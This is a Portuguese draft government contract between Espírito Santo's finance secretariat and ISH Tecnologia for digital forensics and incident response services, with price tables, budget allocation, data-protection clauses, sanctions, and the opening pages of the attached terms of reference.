



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

MINUTA DE TERMO DE CONTRATO

Contrato nº 2026.000024.22101.01

Processo nº 2026-XG88J

ID CidadES nº _____

TERMO DE CONTRATO QUE ENTRE SI FAZEM O ESTADO DO ESPÍRITO SANTO, POR INTERMÉDIO DA SECRETARIA DE ESTADO DA FAZENDA E A EMPRESA ISH TECNOLOGIA S/A PARA PRESTAÇÃO DE SERVIÇO DE PERÍCIA DIGITAL E RESPOSTA A INCIDENTES (DIGITAL FORENSICS AND INCIDENT RESPONSE) – DFIR.

O ESTADO DO ESPÍRITO SANTO, por intermédio da **SECRETARIA DE ESTADO DA FAZENDA – SEFAZ**, doravante denominada **CONTRATANTE**, órgão da Administração Direta do Poder Executivo, inscrita no CNPJ/MF sob o nº 27.080.571/0001-30, com sede na Avenida João Batista Parra, nº 600, Enseada do Suá, Vitória/ES, representada legalmente pelo seu Subsecretário de Estado para Assuntos Administrativos, Sr. **ALEX FAVALESSA DOS SANTOS**, nomeado pelo Decreto Nº 1101-S, de 07 de junho de 2024, publicada no DIO/ES de 10 de junho de 2024, delegação de competência conferida pela Portaria nº 55-R, de 18 de julho de 2023, publicada no DIO/ES em 19 de julho de 2023, portador da Matrícula Funcional nº 3692710, e a Empresa **ISH TECNOLOGIA S/A**, doravante denominada **CONTRATADA**, com sede na Rua Judith Maria Tovar Varejão, nº 355, Salas 202 e 203, Enseada do Suá, Vitória/ES, inscrita no CNPJ sob o nº 01.707.536/0001-04, neste ato representado por **VITOR TEIXEIRA COSTA**, Diretor Comercial, conforme atos constitutivos da empresa e procuração apresentada nos autos, ajustam o presente CONTRATO de prestação de serviços de perícia digital e resposta a incidentes (digital forensics and incident response) – DFIR, nos termos da Lei Federal nº 14.133/2021 e Decreto Estadual nº 5.545-R/2023, de acordo com os termos do processo acima mencionado, parte integrante deste instrumento independente de transcrição, juntamente com a Proposta apresentada pela CONTRATADA, ficando, porém, ressalvadas como não transcritas as condições nela estipuladas que contrariem as disposições deste CONTRATO, que se regerá pelas Cláusulas Seguintes.

1 - CLÁUSULA PRIMEIRA: DO OBJETO

1.1 - O objeto do presente instrumento é a contratação de PERÍCIA DIGITAL E RESPOSTA A INCIDENTES (DIGITAL FORENSICS AND INCIDENT RESPONSE) – DFIR, nas condições estabelecidas no Termo de Referência, conforme quadro abaixo:



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

Item	Descrição	Qtd	Un. Medida	Valor unitário	Valor total
1	Solução XDR + ITDR	-----	-----	-----	-----
1.1	Licenciamento Solução XDR + ITDR	1400	EndPoints	461,628	R\$ 646.279,82
1.2	Ativação da Solução XDR + ITDR	1	Serviço	40.831,76	R\$ 40.831,76
1.3	Operação da Solução XDR + ITDR	6	Mês	16.085,35	R\$ 96.512,10
2	Solução de Microsegmentação	-----	-----	-----	-----
2.1	Licenciamento Solução de Microsegmentação	1400	EndPoints	617,87	R\$ 865.018,00
2.2	Ativação da Solução de Microsegmentação	1	Serviço	40.752,50	R\$ 40.752,50
2.3	Operação da Solução de Microsegmentação	6	Mês	6.963,56	R\$ 41.781,36
3	Solução de DRPS	-----	-----	-----	-----
3.1	Licenciamento Solução de DRPS	6	Licença	20.480,46	R\$ 122.882,76
3.2	Ativação da Solução de DRPS	1	Serviço	2.244,25	R\$ 2.244,25
4	Operação F5	-----	-----	-----	-----
4.1	Assessment da Solução F5	1	Serviço	61.247,64	R\$ 61.247,64
4.2	Operação da Operação F5	6	Mês	23.800,92	R\$ 142.805,52
5	Serviços de MDR	6	Mês	124.313,42	R\$ 745.880,52
Valor total					R\$ 2.806.236,23

1.2 - Integram este Contrato, como partes indissociáveis e independentemente de transcrição, os seguintes anexos:

- (a) O Termo de Referência;
- (b) A Proposta Comercial da Contratada.

2 - CLÁUSULA SEGUNDA: DO PREÇO

2.1 - O valor total da contratação é de R\$ 2.806.236,23, e será realizado conforme quadro abaixo:

Item	Mês 1			Mês 2	Mês 3	Mês 4	Mês 5	Mês 6
	Licenciamento	Ativação	Serviços	Serviços	Serviços	Serviços	Serviços	Serviços
1.1	646.279,82	-----	-----	-----	-----	-----	-----	-----
1.2	-----	40.831,76	-----	-----	-----	-----	-----	-----
1.3	-----	-----	16.085,35	16.085,35	16.085,35	16.085,35	16.085,35	16.085,35
2.1	865.018,00	-----	-----	-----	-----	-----	-----	-----
2.2	-----	40.752,50	-----	-----	-----	-----	-----	-----
2.3	-----	-----	6.963,56	6.963,56	6.963,56	6.963,56	6.963,56	6.963,56
3.1	122.882,76	-----	-----	-----	-----	-----	-----	-----
3.2	-----	2.244,25	-----	-----	-----	-----	-----	-----
4.1	-----	61.247,64	-----	-----	-----	-----	-----	-----
4.2	-----	-----	23.800,92	23.800,92	23.800,92	23.800,92	23.800,92	23.800,92
5	-----	-----	124.313,42	124.313,42	124.313,42	124.313,42	124.313,42	124.313,42
TOTAL	1.634.180,58	145.076,15	171.163,25	171.163,25	171.163,25	171.163,25	171.163,25	171.163,25
	1.950.419,98							

2.2 - No valor indicado no item 2.1, acima, estão incluídas todas as despesas ordinárias diretas e indiretas decorrentes da execução do objeto, inclusive tributos (impostos etc.), encargos



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

sociais, trabalhistas, previdenciários, fiscais e comerciais incidentes, taxa de administração, frete, seguro e outros necessários ao cumprimento integral do objeto da contratação.

2.3 - O valor acima é meramente estimativo, de forma que os pagamentos devidos ao contratado dependerão dos quantitativos efetivamente fornecidos.

2.4 - Os preços inicialmente contratados são fixos e irrevogáveis.

2.5 - Apesar da impossibilidade de reajuste citada no item 2.4, acima, as partes poderão solicitar, a qualquer momento, a manutenção do equilíbrio econômico dos contratos com base no disposto no art. 124, inciso II, alínea "d", da Lei 14.133/2021.

2.6 - No caso de reequilíbrio econômico, o contratado deverá complementar a garantia contratual anteriormente prestada, de modo que se mantenha a proporção inicial em relação ao valor contratado.

2.7 - O reequilíbrio econômico e financeiro, em qualquer de suas espécies, observará, conforme a natureza do objeto contratual, as regras previstas nos arts. 45 a 53 do Decreto Estadual nº 5545-R/2023 e na Lei nº 14.133/2021, inclusive quanto à renúncia irrevogável por ausência de requerimento formal durante a vigência do contrato e antes de eventual prorrogação (art. 46 do Decreto).

3 - CLÁUSULA TERCEIRA: DAS CONDIÇÕES DE PAGAMENTO

3.1 - O prazo para pagamento ao contratado e demais condições a ele referentes encontram-se definidos no Termo de Referência, anexo a este Contrato.

4 - CLÁUSULA QUARTA: DO PRAZO DE VIGÊNCIA CONTRATUAL

4.1 - O prazo de vigência da contratação é de 06 (seis) meses e terá início a partir da assinatura do contrato ou da publicação do respectivo instrumento no Portal Nacional de Contratações Públicas - PCNP, sendo finalizado com a entrega, recebimento e pagamento, na forma do art. 105 da Lei 14.133/2021.

4.2 - O prazo de vigência será automaticamente prorrogado, independentemente de termo aditivo, quando o objeto não for concluído no período firmado acima, ressalvadas as providências cabíveis no caso de culpa do contratado.

4.2.1 - A prorrogação automática deve ser registrada por apostilamento e instruída com a exposição das justificativas e o novo cronograma de execução e desembolso.

4.2.2 - A prorrogação automática não poderá exceder o prazo de 01 (um) ano, conforme art. 75, VIII da Lei 14.133/21.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

5 - CLÁUSULA QUINTA: DA DOTAÇÃO ORÇAMENTÁRIA

5.1 - As despesas decorrentes da presente contratação correrão à conta de recursos específicos consignados no Orçamento.

5.2 - A contratação será atendida pela seguinte dotação:

PROGRAMA DE TRABALHO:	10.22.901.04.123.0050.2151 - GESTÃO FISCAL, CONTÁBIL E FINANCEIRA DO ESTADO
AÇÃO ORÇAMENTÁRIA	2151
FONTE	759 - Recursos vinculados a fundos
DETALHAMENTO DA FONTE	000107 - RECURSOS VINCULADOS AO FUNSEFAZ - MULTAS E JUROS DE MORA POR INFRAÇÃO À LEGISLAÇÃO DE RECEITAS NÃO-TRIBUTÁRIAS (INCISO VI DO ART. 2º DA LEI ESTADUAL Nº 8.360/2006)
GRUPO DE NATUREZA DE DESPESA	
NATUREZA DE DESPESA	339040 - SERVIÇOS DE TECNOLOGIA DA INFORMAÇÃO E COMUNICAÇÃO - PESSOA JURÍDICA
PLANO ORÇAMENTÁRIO	002248

5.3 - A dotação relativa aos exercícios financeiros subsequentes será indicada após aprovação da Lei Orçamentária respectiva e liberação dos créditos correspondentes, mediante apostilamento.

6 - CLÁUSULA SEXTA: DA GARANTIA DE EXECUÇÃO

6.1 - A CONTRATADA prestará garantia de execução contratual no valor de R\$ 140.311,81, na modalidade de seguro garantia, correspondente a 5% (cinco por cento) do valor do contrato.

6.2 - O prazo de garantia de execução contratual e demais condições a ele referentes encontram-se definidos no Termo de Referência, anexo a este Contrato.

6.3 - Ocorrendo prorrogação de prazo ou aumento no valor contratual decorrente de acréscimos ou do reequilíbrio econômico-financeiro, por ocasião da assinatura do Termo Aditivo, deverá a CONTRATADA proceder a renovação e/ou ao reforço da garantia inicial, proporcionalmente ao aumento de valor.

6.4 - A garantia deverá ser apresentada no prazo máximo de 10 (dez) dias, inclusive nos casos de Termo Aditivo.

6.4.1 - A inobservância do prazo fixado para apresentação ou renovação da garantia acarretará a aplicação de multa de 0,2% (dois décimos por cento) do valor do contrato por dia de atraso, até o máximo de 5% (cinco por cento), o qual poderá ser glosado de pagamentos devidos.

6.4.2 - O atraso superior a 25 (vinte e cinco) dias autoriza a Administração a promover o bloqueio dos pagamentos devidos à CONTRATADA, até o limite de 5% (cinco por cento) do valor anual do contrato, a título de garantia.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

6.4.3 - A CONTRATADA, a qualquer tempo, poderá substituir o bloqueio efetuado com base nesta cláusula por quaisquer das modalidades de garantia previstas em lei, sem prejuízo da manutenção da multa aplicada.

6.5 - Quando se tratar de consórcio, será permitido que seja apresentada a garantia integralmente pela empresa líder ou por qualquer das empresas consorciadas, ou, ainda, por cada uma das empresas consorciadas com os valores proporcionais à sua participação no consórcio.

7 - CLÁUSULA SÉTIMA: DA ENTREGA E RECEBIMENTO

7.1 - O regime de execução contratual, os modelos de gestão e de execução, assim como os prazos e condições de conclusão, entrega, observação e recebimento do objeto constam no Termo de Referência, anexo a este Contrato.

8 - CLÁUSULA OITAVA: DAS RESPONSABILIDADES DAS PARTES

8.1 - Compete à Contratada:

8.1.1 - Cumprir todas as obrigações, as condições e os prazos relativos a entrega do(s) produto(s) adquirido(s) e/ou da execução do(s) serviço(s) contratado(s), conforme definido no Termo de Referência;

8.1.2 - providenciar a imediata correção das deficiências apontadas pelo setor competente do Contratante;

8.1.3 - manter, durante toda a execução do Contrato, em compatibilidade com as obrigações assumidas, todas as condições de habilitação e qualificação exigidas na licitação, conforme dispõe o inciso XVI do art. 92 da Lei Federal 14.133/2021;

8.1.4 - garantir a execução qualificada do contrato durante o período de garantia e/ou vigência, conforme definido no Termo de Referência.

8.2 - Compete à Contratante:

8.2.1 - efetuar o pagamento do preço previsto nos termos deste contrato;

8.2.2 - definir o local para entrega dos produtos adquiridos e/ou da execução dos serviços contratados, conforme definido no Termo de Referência;

8.2.3 - designar servidor(es) responsável(is) pelo acompanhamento e fiscalização da entrega dos produtos adquiridos e/ou da execução do(s) serviço(s) contratado(s), conforme definido no Termo de Referência;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

8.2.4 - Emitir decisão sobre eventuais solicitações ou reclamações relacionadas à execução dos contratos no prazo máximo de 1 (um) mês, a contar da data do protocolo do requerimento, admitida a prorrogação motivada, por igual período.

8.2.5 - Responder eventuais pedidos de reestabelecimento do equilíbrio econômico-financeiro feitos pelo contratado no prazo máximo de 1 (um) mês, admitida a prorrogação motivada, por igual período.

8.2.6 - Notificar os emitentes das garantias quanto ao início de processo administrativo para apuração de descumprimento de cláusulas contratuais.

8.3 - Da Proteção de Dados Pessoais.

8.3.1 - Proteção de dados, coleta e tratamento. Sempre que tiverem acesso ou realizarem qualquer tipo de tratamento de dados pessoais, as partes comprometem-se a envidar todos os esforços para resguardar e proteger a intimidade, vida privada, honra e imagem dos respectivos titulares, observando as normas e políticas internas relacionadas a coleta, guarda, tratamento, transmissão e eliminação de dados pessoais, especialmente as previstas na Lei Federal nº 13.709/2018 (“Lei Geral de Proteção de Dados Pessoais”), no Decreto Estadual nº 4922-R, de 09 de julho de 2021, e demais normas legais e regulamentares aplicáveis.

8.3.2 - Caso o objeto envolva o tratamento de dados pessoais com fundamento no consentimento do titular, a CONTRATADA deverá observar, ao longo de toda a vigência do Contrato, todas as obrigações legais e regulamentares específicas vinculadas a essa hipótese legal de tratamento.

8.3.3 - Ao receber o requerimento de um titular de dados, na forma prevista nos artigos 16 e 18 da Lei Federal nº 13.709/2018, a CONTRATADA deverá:

8.3.3.1 - Notificar imediatamente a CONTRATANTE;

8.3.3.2 - Auxiliá-la, quando for o caso, na elaboração da resposta ao requerimento; e

8.3.3.3 - Eliminar todos os dados pessoais tratados com base no consentimento em até 30 (trinta) dias corridos, contados a partir do requerimento do titular.

8.3.4 - As partes armazenarão dados pessoais apenas pelo período necessário ao cumprimento da finalidade para a qual foram originalmente coletados e em conformidade com as hipóteses legais que autorizam o tratamento.

8.3.5 - As partes devem assegurar que o acesso a dados pessoais seja limitado aos empregados, prepostos ou colaboradores e eventuais subcontratados que necessitem acessar os dados pertinentes, na medida em que sejam estritamente necessários para o cumprimento deste Contrato e da legislação aplicável, assegurando que todos esses indivíduos estejam sujeitos a obrigações de sigilo e confidencialidade.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

8.3.6 - A CONTRATADA deve, enquanto operadora de dados pessoais, implementar medidas técnicas e organizacionais apropriadas para o cumprimento das obrigações da CONTRATANTE previstas na Lei Federal nº 13.709/2018.

8.3.7 - Proteção de dados e incidentes de segurança. Considerando as características específicas do tratamento de dados pessoais e o estado atual da tecnologia, a CONTRATADA deverá adotar medidas de segurança, técnicas e administrativas aptas a proteger os dados e informações de acessos não autorizados e de situações acidentais ou ilícitas de destruição, perda, alteração, comunicação ou qualquer forma de tratamento inadequado ou ilícito.

8.3.8 - A CONTRATADA deverá notificar a CONTRATANTE imediatamente sobre a ocorrência de incidentes de segurança relacionados a dados pessoais, fornecendo informações suficientes para que a CONTRATANTE cumpra quaisquer deveres de comunicação, dirigidos à Autoridade Nacional de Proteção de Dados e/ou aos titulares dos dados, acerca do incidente de segurança.

8.3.9 - As partes deverão adotar as medidas cabíveis para auxiliar na investigação e na mitigação das consequências de cada incidente de segurança.

8.3.10 - **Transferência internacional.** É vedada a transferência de dados pessoais pela CONTRATADA para fora do território do Brasil sem o prévio consentimento, por escrito, da CONTRATANTE, e demonstração da observância da adequada proteção desses dados, cabendo à CONTRATADA a responsabilidade pelo cumprimento da legislação de proteção de dados ou de privacidade de outro(s) país(es) que for aplicável.

8.3.11 - **Responsabilidade.** A CONTRATADA responderá por quaisquer danos, perdas ou prejuízos causados a CONTRATANTE ou a terceiros decorrentes do descumprimento da Lei Federal nº 13.709/2018, no Decreto Estadual nº 4922-R, de 09 de julho de 2021 e outras normas legais ou regulamentares relacionadas a este Contrato, não excluindo ou reduzindo essa responsabilidade a fiscalização da CONTRATANTE em seu acompanhamento.

8.3.12 - Eventual subcontratação, mesmo quando autorizada pela CONTRATANTE, não exime a CONTRATADA das obrigações decorrentes deste Contrato, permanecendo integralmente responsável perante a CONTRATANTE mesmo na hipótese de descumprimento dessas obrigações por subcontratada.

8.3.13 - A CONTRATADA deve colocar à disposição da CONTRATANTE, quando solicitado, toda informação necessária para demonstrar o cumprimento do disposto nestas cláusulas, permitindo a realização de auditorias e inspeções, diretamente pela CONTRATANTE ou por terceiros por ela indicados, com relação ao tratamento de dados pessoais.

8.3.14 - A CONTRATADA deve auxiliar a CONTRATANTE na elaboração de relatórios de impacto à proteção de dados pessoais, observado o disposto no artigo 38 da Lei Federal nº 13.709/2018, relativo ao objeto deste Contrato.

8.3.15 - Se a CONTRATANTE constatar que dados pessoais foram utilizados pela CONTRATADA para fins ilegais, ilícitos, contrários à moralidade ou mesmo para fins diversos



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

daqueles necessários ao cumprimento deste Contrato, a CONTRATADA será notificada para promover a cessação imediata desse uso, sem prejuízo da rescisão do Contrato e de sua responsabilização pela integralidade dos danos causados.

8.3.16 - **Eliminação.** Extinto o Contrato, independentemente do motivo, a CONTRATADA deverá em, até 10 (dez) dias úteis, contados da data de seu encerramento, devolver todos os dados pessoais a CONTRATANTE ou eliminá-los, inclusive eventuais cópias, certificando a CONTRATANTE, por escrito, do cumprimento desta obrigação.

9 - CLÁUSULA NONA: DOS ADITAMENTOS

9.1 - O presente contrato poderá ser aditado, estritamente, nos termos previstos na Lei 14.133/2021, mediante manifestação formal da Procuradoria-Geral do Estado ou em conformidade com norma editada pela Procuradoria que dispense a análise jurídica.

10 - CLÁUSULA DÉCIMA: DAS SANÇÕES ADMINISTRATIVAS

10.1 - Comete infração administrativa, nos termos da Lei 14.133/2021, o contratado que:

- (a) der causa à inexecução parcial do contrato;
- (b) der causa à inexecução parcial do contrato que cause grave dano à Administração ou ao funcionamento dos serviços públicos ou ao interesse coletivo;
- (c) der causa à inexecução total do contrato;
- (d) ensejar o retardamento da execução ou da entrega do objeto da contratação sem motivo justificado;
- (e) apresentar documentação falsa ou prestar declaração falsa durante a execução do contrato;
- (f) praticar ato fraudulento na execução do contrato;
- (g) comportar-se de modo inidôneo ou cometer fraude de qualquer natureza;
- (h) praticar ato lesivo previsto no art. 5º da Lei 12.846/2013.

10.2 - Serão aplicadas ao contratado que incorrer nas infrações acima descritas as seguintes sanções:

10.2.1 - Advertência, quando o contratado der causa à inexecução parcial do contrato, sempre que não se justificar a imposição de penalidade mais grave (art. 156, § 2º, da Lei 14.133/2021);



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

10.2.2 - Impedimento de licitar e contratar, quando praticadas as condutas descritas nas alíneas “b”, “c” e “d” do subitem acima, sempre que não se justificar a imposição de penalidade mais grave (art. 156, § 4º, da Lei 14.133/2021);

10.2.3 - Declaração de inidoneidade para licitar e contratar, quando praticadas as condutas descritas nas alíneas “e”, “f”, “g” e “h” do subitem acima, bem como nas alíneas “b”, “c” e “d”, que justifiquem a imposição de penalidade mais grave (art. 156, § 5º, da Lei 14.133/2021);

10.2.4 - Multas (art. 156, II, e § 3º, da Lei 14.133/2021), observados os seguintes parâmetros:

10.2.4.1 - Multa moratória de 0,5% (cinco décimos por cento) por dia útil de atraso injustificado sobre o valor da parcela inadimplida, até o limite de 30 (trinta) dias;

10.2.4.2 - Multa compensatória de 0,5% (cinco décimos por cento) a 2% (dois por cento) incidente sobre o valor do contrato, para a infração descrita na alínea “a” do subitem 10.1;

10.2.4.3 - Multa compensatória de 0,5% (cinco décimos por cento) a 20% (vinte por cento) incidente sobre o valor do contrato, para as infrações descritas nas alíneas “b” a “h” do subitem 10.1.

10.3 - O atraso superior a 30 (trinta) dias autoriza a Administração a promover a extinção unilateral do contrato por descumprimento ou cumprimento irregular, convertendo a multa moratória em multa compensatória (art. 162, parágrafo único, da Lei 14.133/2021).

10.4 - Em caso de reincidência, o valor total das multas aplicadas não poderá exceder o limite de 30% (trinta por cento) sobre o valor total do Contrato.

10.5 - A aplicação das sanções previstas neste Contrato não exclui, em hipótese alguma, a obrigação de reparação integral do dano causado ao Contratante (art. 156, § 9º, da Lei 14.133/2021).

10.6 - A penalidade de multa pode ser aplicada cumulativamente com as demais sanções, na forma do art. 156, § 7º, da Lei nº 14.133/2021.

10.7 - Na aplicação das sanções serão considerados (art. 156, § 1º, da Lei 14.133/2021):

- (a) a natureza e a gravidade da infração cometida;
- (b) as peculiaridades do caso concreto;
- (c) as circunstâncias agravantes ou atenuantes;
- (d) os danos que dela provierem para o Contratante;



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

(e) a implantação ou o aperfeiçoamento de programa de integridade, conforme normas e orientações dos órgãos de controle.

10.8 - Antes da aplicação da multa será facultada a defesa do interessado no prazo de 15 (quinze) dias úteis, contado da data de sua intimação (art. 157 da Lei 14.133/2021).

10.9 - A aplicação das sanções realizar-se-á em processo administrativo que assegure o contraditório e a ampla defesa ao Contratado, observando-se o procedimento previsto no *caput* e parágrafos do art. 158 da Lei 14.133/2021 para as penalidades de impedimento de licitar e contratar e de declaração de inidoneidade para licitar ou contratar, assim como as seguintes regras:

10.9.1 - Antes da aplicação de qualquer sanção administrativa, a Administração deverá notificar o contratado, facultando-lhe a apresentação de defesa prévia;

10.9.2 - A notificação deverá ocorrer pessoalmente, eletronicamente, com confirmação de recebimento, ou por correspondência com aviso de recebimento, indicando, no mínimo: a conduta reputada como infratora, a motivação para aplicação da penalidade, a sanção que se pretende aplicar, o prazo e o local de entrega das razões de defesa;

10.9.3 - O prazo para apresentação de defesa prévia para a penalidade de advertência será de 05 (cinco) dias úteis e de 15 (quinze) dias úteis para as demais penalidades, e serão contados na forma do art. 183 da Lei 14.133/2021;

10.9.4 - O contratado comunicará ao órgão promotor do certame as mudanças de endereço ocorridas no curso do processo licitatório e da vigência do contrato, considerando-se eficazes as notificações enviadas ao local anteriormente indicado, na ausência da comunicação;

10.9.5 - Ofertada a defesa prévia ou expirado o prazo sem que ocorra a sua apresentação, a Administração proferirá decisão fundamentada e adotará as medidas legais cabíveis, resguardado o direito de recurso, que deverá ser exercido nos termos da Lei 14.133/2021;

10.10 - Os atos previstos como infrações administrativas na Lei 14.133/2021, ou em outras leis de licitações e contratos da Administração Pública que também sejam tipificados como atos lesivos na Lei 12.846/2013, serão apurados e julgados conjuntamente, nos mesmos autos, observados o rito procedimental e autoridade competente definidos na referida Lei (art. 159 da Lei 14.133/2021).

10.11 - A personalidade jurídica do Contratado poderá ser desconsiderada sempre que utilizada com abuso do direito para facilitar, encobrir ou dissimular a prática dos atos ilícitos previstos neste Contrato ou para provocar confusão patrimonial, e, nesse caso, todos os efeitos das sanções aplicadas à pessoa jurídica serão estendidos aos seus administradores e sócios com poderes de administração, à pessoa jurídica sucessora ou à empresa do mesmo ramo com relação de coligação ou controle, de fato ou de direito, com o Contratado, observados, em todos os casos, o contraditório, a ampla defesa e a obrigatoriedade de análise jurídica prévia (art. 160 da Lei 14.133/2021).



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

10.12 - O Contratante deverá, no prazo máximo de 15 (quinze) dias úteis, contado da data de aplicação da sanção, informar e manter atualizados os dados relativos às sanções por ela aplicadas, para fins de publicidade no Cadastro Nacional de Empresas Inidôneas e Suspensas (Ceis) e no Cadastro Nacional de Empresas Punidas (Cnep), instituídos no âmbito do Poder Executivo Federal (art. 161 da Lei 14.133/2021).

10.13 - As sanções de impedimento de licitar e contratar e declaração de inidoneidade para licitar ou contratar são passíveis de reabilitação, na forma do art. 163 da Lei 14.133/2021.

10.14 - Os débitos relativos a multas moratória e compensatória e as indenizações cabíveis poderão ser descontados dos valores devidos pela Administração ao contratado e, se insuficientes, a diferença poderá ser descontada da garantia prestada ou ser objeto de cobrança judicial (art. 156, § 8º, da Lei 14.133/2021).

10.14.1 - Os débitos do contratado para com a Administração contratante poderão ser compensados, total ou parcialmente, com os créditos decorrentes de outros contratos administrativos que o contratado possua com o Estado do Espírito Santo.

10.15 - Sem prejuízo da aplicação das sanções acima descritas, a prática de quaisquer atos lesivos à administração pública na licitação ou na execução do contrato, nos termos da Lei 12.846/2013, será objeto de imediata apuração observando-se o devido processo legal estabelecido no marco regulatório estadual anticorrupção.

11 - CLÁUSULA DÉCIMA PRIMEIRA: DA SUPERVENIENTE IRREGULARIDADE FISCAL, SOCIAL OU TRABALHISTA

11.1 - Constatado que o Contratado não se encontra em situação de regularidade fiscal, social ou trabalhista, o mesmo será notificado para no prazo de 10 (dez) dias úteis regularizar tal situação ou, no mesmo prazo, apresentar defesa, observando-se o procedimento de aplicação de sanções.

11.2 - Transcorrido esse prazo, ainda que não comprovada a regularidade e que não seja aceita a defesa apresentada, o pagamento será efetuado, sem prejuízo da tramitação do procedimento de aplicação de sanções.

11.3 - Em não sendo aceitas as justificativas apresentadas pelo Contratado, será imposta multa de 2% (dois por cento) sobre o saldo contratual não executado.

11.4 - Depois de transcorridos 30 (trinta) dias úteis da notificação da multa, se a empresa não regularizar a pendência fiscal ou trabalhista, deverá a Administração decidir sobre iniciar ou não procedimento de rescisão do contrato, podendo deixar de fazê-lo se reputar que a extinção antecipada do contrato ocasionará expressivos prejuízos ao interesse público.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

11.5 - Em se tratando de irregularidade fiscal decorrente de crédito estadual, o Contratante informará à Procuradoria Fiscal da Procuradoria Geral do Estado sobre os créditos em favor da empresa, antes mesmo da notificação à empresa.

12 - CLÁUSULA DÉCIMA SEGUNDA: DA RESCISÃO

12.1 - A rescisão do Contrato poderá ocorrer nas hipóteses e condições previstas nos arts. 137 a 139 da Lei 14.133/2021.

13 - CLÁUSULA DÉCIMA TERCEIRA: DOS RECURSOS

13.1 - Os recursos, representação e pedido de reconsideração, somente serão acolhidos nos termos do arts. 165 a 168 da Lei 14.133/2021.

14 - CLÁUSULA DÉCIMA QUARTA: DO ACOMPANHAMENTO E FISCALIZAÇÃO

14.1 - A execução do contrato será acompanhada pelo gestor e pelo fiscal designados pela autoridade competente do órgão ou entidade, os quais representarão a Administração e confirmarão o recebimento do objeto contratado, observadas as disposições deste contrato. Sem esse recebimento, não será permitido qualquer pagamento.

15 - CLÁUSULA DÉCIMA QUINTA: DO REPRESENTANTE DA CONTRATADA

15.1 - Representará a Contratada na execução do ajuste, como preposto, (preencher no momento de assinatura do contrato, com nome completo, nacionalidade, profissão e estado civil do representante da empresa).

15.2 - O representante da CONTRATADA deverá realizar o cadastro no Sistema Corporativo de Gestão de Documentos Arquivísticos Digitais - EDOCS do Governo do Estado do Espírito Santo para envio e recebimento de documentos oficiais.

16 - CLÁUSULA DÉCIMA SEXTA: DOS CASOS OMISSOS

16.1 - Os casos omissos serão decididos pelo contratante, segundo as disposições contidas na Lei 14.133/2021, e demais normas federais aplicáveis e, subsidiariamente, segundo as disposições contidas na Lei nº 8.078/1990 – Código de Defesa do Consumidor – e normas e princípios gerais dos contratos.

16.2 - Na ausência de prazo previamente estabelecido para o cumprimento de determinações emitidas pelo Contratante, será aplicado o prazo de 5 (cinco) dias úteis, contados a partir da data de ciência formal da determinação pela Contratada. Esse prazo poderá ser prorrogado, a critério



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

exclusivo do Contratante, mediante solicitação formal e devidamente justificada pela Contratada.

17 - CLÁUSULA DÉCIMA SÉTIMA: DO FORO

17.1 - Fica eleito o foro de Vitória, Comarca da Capital do Estado do Espírito Santo, para dirimir qualquer dúvida ou contestação oriunda direta ou indiretamente deste instrumento, renunciando-se expressamente a qualquer outro, por mais privilegiado que seja.

17.2 - Antes de qualquer providência jurisdicional visando solucionar dúvida quanto à interpretação do presente instrumento, as partes deverão buscar solução administrativa, com a participação da Procuradoria Geral do Estado, por intermédio de um ou mais meios de solução consensual de conflitos previstos na Lei Complementar Estadual nº 1.011/2022.

E, por estarem justos e contratados, assinam o presente em três vias de igual teor e forma, para igual distribuição, para que produza seus efeitos legais.

ALEX FAVALESSA DOS SANTOS

SECRETARIA DE ESTADO DA FAZENDA

CONTRATANTE

VITOR TEIXEIRA COSTA

ISH TECNOLOGIA S/A

CONTRATADA



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

TERMO DE REFERÊNCIA PARA CONTRATAÇÃO DE PERÍCIA DIGITAL E RESPOSTA A INCIDENTES - DFIR

2026-7RBBW0 - E-DOCS - DOCUMENTO ORIGINAL 10/04/2026 10:24 PÁGINA 1 / 48

2026-3QQK74 - E-DOCS - DOCUMENTO ORIGINAL 10/04/2026 19:44 PÁGINA 15 / 61

© 2026 SEFAZ-ES – GETEC



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

TERMO DE REFERÊNCIA

OBJETO: Contratação de Perícia Digital e Resposta a Incidentes (*Digital Forensics And Incident Response*) - DFIR

IDENTIFICAÇÃO

IDENTIFICAÇÃO	
Un. Gestora:	Secretaria de Estado da Fazenda
Área Requisitante:	Gerência de Tecnologia – GETEC
Responsáveis:	Fabio Feltmann Sampaio, Luiz Carlos Lessa, Gustavo Braga Schwambach
Data de Elaboração	10/04/2026
Versão	3.0

HISTÓRICO DE VERSÕES

DATA	VERSÃO	DESCRIÇÃO	AUTOR
27/03/2026	1.0	Versão Preliminar do TR	Equipe de Planejamento de Contratação
06/04/2026	2.0	Ajustes de escopo e Fundamentação	Equipe de Planejamento de Contratação
10/04/2026	3.0	Ajustes após a pesquisa de preço	Equipe de Planejamento de Contratação



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

1. DO OBJETO

